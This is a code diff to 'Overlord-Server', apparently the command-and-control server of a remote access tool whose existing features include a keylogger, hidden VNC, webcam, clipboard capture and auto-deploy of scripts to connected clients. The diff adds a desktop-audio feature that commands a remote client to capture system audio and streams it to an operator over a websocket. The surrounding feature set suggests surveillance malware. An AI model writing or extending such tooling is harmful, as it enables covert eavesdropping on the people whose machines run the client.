--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -123,6 +123,12 @@ import {
   handleVoiceViewerMessage,
   handleVoiceViewerOpen,
 } from "./server/ws-voice";
+import {
+  cleanupDesktopAudioViewer,
+  handleDesktopAudioUplink,
+  handleDesktopAudioViewerMessage,
+  handleDesktopAudioViewerOpen,
+} from "./server/ws-desktop-audio";
 import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
 import { loadOrGenerateVapidKeys } from "./server/web-push";
 import * as clientManager from "./clientManager";
@@ -496,6 +502,7 @@ async function startServer() {
     handleProcessViewerOpen,
     handleKeyloggerViewerOpen,
     handleVoiceViewerOpen,
+    handleDesktopAudioViewerOpen,
     handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
       const id = crypto.randomUUID();
       ws.data.sessionId = id;
@@ -564,6 +571,7 @@ async function startServer() {
     handleProcessViewerMessage,
     handleKeyloggerViewerMessage,
     handleVoiceViewerMessage,
+    handleDesktopAudioViewerMessage,
     dispatchAutoScriptsForConnection,
     dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
       const proto = tls ? "https" : "http";
@@ -603,12 +611,14 @@ async function startServer() {
     handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
     handleNotification: notificationPluginHandlers.handleNotification,
     handleVoiceUplink,
+    handleDesktopAudioUplink,
     handleWebcamDevices,
     handleHVNCCloneProgress,
     handleHVNCLookupResult,
     handleHVNCDXGIStatus,
     handleClipboardContent,
     cleanupVoiceViewer,
+    cleanupDesktopAudioViewer,
     stopConsoleOnTarget,
     sendDesktopCommand,
     sendHVNCCommand,
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index bc2d891..3fb35a5 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -90,6 +90,8 @@ export type CommandType =
   | "voice_session_stop"
   | "voice_downlink"
   | "voice_capabilities"
+  | "desktop_audio_start"
+  | "desktop_audio_stop"
   | "process_list"
   | "process_kill"
   | "plugin_load"
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index 9fc85dd..caacf4b 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -44,6 +44,7 @@ type WsLifecycleDeps = {
   handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
   handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
   handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
+  handleDesktopAudioViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
   handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
   handleChatViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
   handleChatViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -55,6 +56,7 @@ type WsLifecycleDeps = {
   handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
   handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
   handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
+  handleDesktopAudioViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
   dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
   dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
   dispatchAutoLoadPlugins: (info: ClientInfo) => void;
@@ -79,12 +81,14 @@ type WsLifecycleDeps = {
   handlePluginEvent: (clientId: string, payload: any) => void;
   handleNotification: (clientId: string, payload: any) => void;
   handleVoiceUplink: (clientId: string, payload: any) => void;
+  handleDesktopAudioUplink: (clientId: string, payload: any) => void;
   handleWebcamDevices: (clientId: string, payload: any) => void;
   handleHVNCCloneProgress: (clientId: string, payload: any) => void;
   handleHVNCLookupResult: (clientId: string, payload: any) => void;
   handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
   handleClipboardContent: (clientId: string, payload: any) => void;
   cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
+  cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
   stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
   sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
   sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
@@ -153,6 +157,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
   if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
   if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
   if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
+  if (role === "desktop_audio_viewer") return deps.handleDesktopAudioViewerOpen(ws);
   if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
   if (role === "chat_viewer") return deps.handleChatViewerOpen(ws);
 
@@ -204,6 +209,7 @@ export async function handleWebSocketMessage(
   if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
   if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
   if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
+  if (socketRole === "desktop_audio_viewer") return deps.handleDesktopAudioViewerMessage(ws, message);
   if (socketRole === "notifications_viewer") return;
   if (socketRole === "dashboard_viewer") return;
   if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message);
@@ -578,6 +584,9 @@ export async function handleWebSocketMessage(
       case "voice_uplink":
         deps.handleVoiceUplink(client.id, payload);
         break;
+      case "desktop_audio_uplink":
+        deps.handleDesktopAudioUplink(client.id, payload);
+        break;
       case "webcam_devices":
         deps.handleWebcamDevices(client.id, payload);
         break;
@@ -736,6 +745,11 @@ export function handleWebSocketClose(
     return;
   }
 
+  if (role === "desktop_audio_viewer") {
+    deps.cleanupDesktopAudioViewer(ws);
+    return;
+  }
+
   if (role === "notifications_viewer") {
     if (sessionId) {
       sessionManager.deleteNotificationSession(sessionId);
diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
index dbb0d03..ef41f9c 100644
--- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
+++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
@@ -247,6 +247,26 @@ export async function handleWsUpgradeRoutes(
     return new Response("Upgrade failed", { status: 500 });
   }
 
+  const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
+  if (desktopAudioMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) {
+      return new Response("Unauthorized", { status: 401 });
+    }
+
+    if (user.role === "viewer") {
+      return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+    }
+    const clientId = desktopAudioMatch[1];
+    const denied = checkOperatorAccess(user, clientId, "voice");
+    if (denied) return denied;
+    const ip = server.requestIP(req)?.address || "";
+    if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
+      return new Response();
+    }
+    return new Response("Upgrade failed", { status: 500 });
+  }
+
   if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
     const user = await authenticateRequest(req);
     if (!user) {
diff --git a/Overlord-Server/src/server/ws-desktop-audio.ts b/Overlord-Server/src/server/ws-desktop-audio.ts
new file mode 100644
index 0000000..e08e5b1
--- /dev/null
+++ b/Overlord-Server/src/server/ws-desktop-audio.ts
@@ -0,0 +1,117 @@
+import type { ServerWebSocket } from "bun";
+import { v4 as uuidv4 } from "uuid";
+import * as clientManager from "../clientManager";
+import { encodeMessage } from "../protocol";
+import * as sessionManager from "../sessions/sessionManager";
+import type { DesktopAudioViewer, SocketData } from "../sessions/types";
+import { canUserAccessClient } from "../users";
+
+function sendDesktopAudioCommand(
+  clientId: string,
+  commandType: "desktop_audio_start" | "desktop_audio_stop",
+  payload: Record<string, unknown>,
+) {
+  const target = clientManager.getClient(clientId);
+  if (!target) return false;
+  try {
+    target.ws.send(
+      encodeMessage({
+        type: "command",
+        commandType: commandType as any,
+        id: uuidv4(),
+        payload,
+      }),
+    );
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
+  try {
+    ws.send(JSON.stringify(payload));
+  } catch {
+  }
+}
+
+export function handleDesktopAudioViewerOpen(ws: ServerWebSocket<SocketData>) {
+  const { clientId, userId, userRole } = ws.data;
+  if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
+    ws.close(1008, "Forbidden: client access denied");
+    return;
+  }
+  const sessionId = uuidv4();
+  ws.data.sessionId = sessionId;
+  const target = clientManager.getClient(clientId);
+  const session: DesktopAudioViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
+  sessionManager.addDesktopAudioSession(session);
+
+  safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
+  if (!target) {
+    safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
+    return;
+  }
+
+  safeJson(ws, { type: "status", status: "ready" });
+}
+
+export function handleDesktopAudioViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
+  const { clientId } = ws.data;
+  if (typeof raw === "string") {
+    try {
+      const message = JSON.parse(raw);
+      if (message?.type === "start") {
+        const source = typeof message?.source === "string" ? message.source : "system";
+        const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
+          source,
+          sessionId: ws.data.sessionId,
+        });
+        safeJson(ws, { type: "status", status: started ? "connected" : "error" });
+        return;
+      }
+      if (message?.type === "stop") {
+        sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
+        safeJson(ws, { type: "status", status: "disconnected" });
+      }
+    } catch {
+    }
+    return;
+  }
+}
+
+export function handleDesktopAudioUplink(clientId: string, payload: any) {
+  const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
+  const bytes = payload?.data instanceof Uint8Array
+    ? payload.data
+    : payload?.data instanceof ArrayBuffer
+      ? new Uint8Array(payload.data)
+      : ArrayBuffer.isView(payload?.data)
+        ? new Uint8Array(payload.data.buffer)
+        : null;
+  if (!bytes || bytes.byteLength === 0) return;
+
+  for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) {
+    if (sessionId && session.id !== sessionId) continue;
+    try {
+      session.viewer.send(bytes);
+    } catch {
+    }
+  }
+}
+
+export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
+  let removedClientId = ws.data.clientId;
+  for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) {
+    if (session.viewer === ws) {
+      removedClientId = session.clientId;
+      sessionManager.deleteDesktopAudioSession(sid);
+      break;
+    }
+  }
+
+  const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0;
+  if (!hasViewers) {
+    sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {});
+  }
+}
diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts
index 44eeff5..8259c67 100644
--- a/Overlord-Server/src/sessions/sessionManager.ts
+++ b/Overlord-Server/src/sessions/sessionManager.ts
@@ -5,6 +5,7 @@ import type {
   FileBrowserViewer,
   ProcessViewer,
   VoiceViewer,
+  DesktopAudioViewer,
   NotificationsViewer,
   KeyloggerViewer,
   ChatViewer,
@@ -36,6 +37,8 @@ const keyloggerSessions = new Map<string, KeyloggerViewer>();
 const keyloggerSessionsByClient = new Map<string, Set<string>>();
 const voiceSessions = new Map<string, VoiceViewer>();
 const voiceSessionsByClient = new Map<string, Set<string>>();
+const desktopAudioSessions = new Map<string, DesktopAudioViewer>();
+const desktopAudioSessionsByClient = new Map<string, Set<string>>();
 const dashboardSessions = new Map<string, DashboardViewer>();
 const chatSessions = new Map<string, ChatViewer>();
 
@@ -440,6 +443,34 @@ export function getAllVoiceSessions(): Map<string, VoiceViewer> {
   return voiceSessions;
 }
 
+export function addDesktopAudioSession(session: DesktopAudioViewer): void {
+  desktopAudioSessions.set(session.id, session);
+  addSessionToClientIndex(desktopAudioSessionsByClient, session.clientId, session.id);
+}
+
+export function deleteDesktopAudioSession(sessionId: string): boolean {
+  const existing = desktopAudioSessions.get(sessionId);
+  if (!existing) return false;
+  desktopAudioSessions.delete(sessionId);
+  removeSessionFromClientIndex(desktopAudioSessionsByClient, existing.clientId, sessionId);
+  return true;
+}
+
+export function getDesktopAudioSessionsByClient(clientId: string): DesktopAudioViewer[] {
+  const ids = desktopAudioSessionsByClient.get(clientId);
+  if (!ids || ids.size === 0) return [];
+  const sessions: DesktopAudioViewer[] = [];
+  for (const id of ids) {
+    const session = desktopAudioSessions.get(id);
+    if (session) sessions.push(session);
+  }
+  return sessions;
+}
+
+export function getAllDesktopAudioSessions(): Map<string, DesktopAudioViewer> {
+  return desktopAudioSessions;
+}
+
 export function addDashboardSession(session: DashboardViewer): void {
   dashboardSessions.set(session.id, session);
 }
diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts
index 90bb769..1c38d7a 100644
--- a/Overlord-Server/src/sessions/types.ts
+++ b/Overlord-Server/src/sessions/types.ts
@@ -11,6 +11,7 @@ export type SocketRole =
   | "notifications_viewer"
   | "keylogger_viewer"
   | "voice_viewer"
+  | "desktop_audio_viewer"
   | "dashboard_viewer"
   | "chat_viewer";
 
@@ -79,6 +80,13 @@ export type VoiceViewer = {
   createdAt: number;
 };
 
+export type DesktopAudioViewer = {
+  id: string;
+  clientId: string;
+  viewer: ServerWebSocket<SocketData>;
+  createdAt: number;
+};
+
 export type ChatViewer = {
   id: string;
   viewer: ServerWebSocket<SocketData>;
diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts
index 3e52a6a..f0f6c4f 100644
--- a/Overlord-Server/src/wsValidation.ts
+++ b/Overlord-Server/src/wsValidation.ts
@@ -1,4 +1,4 @@
-export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "notifications_viewer";
+export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
 
 const textEncoder = new TextEncoder();
 
@@ -26,6 +26,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
   "keylog_clear_result",
   "keylog_delete_result",
   "voice_uplink",
+  "desktop_audio_uplink",
   "webcam_devices",
   "hvnc_clone_progress",
   "hvnc_lookup_result",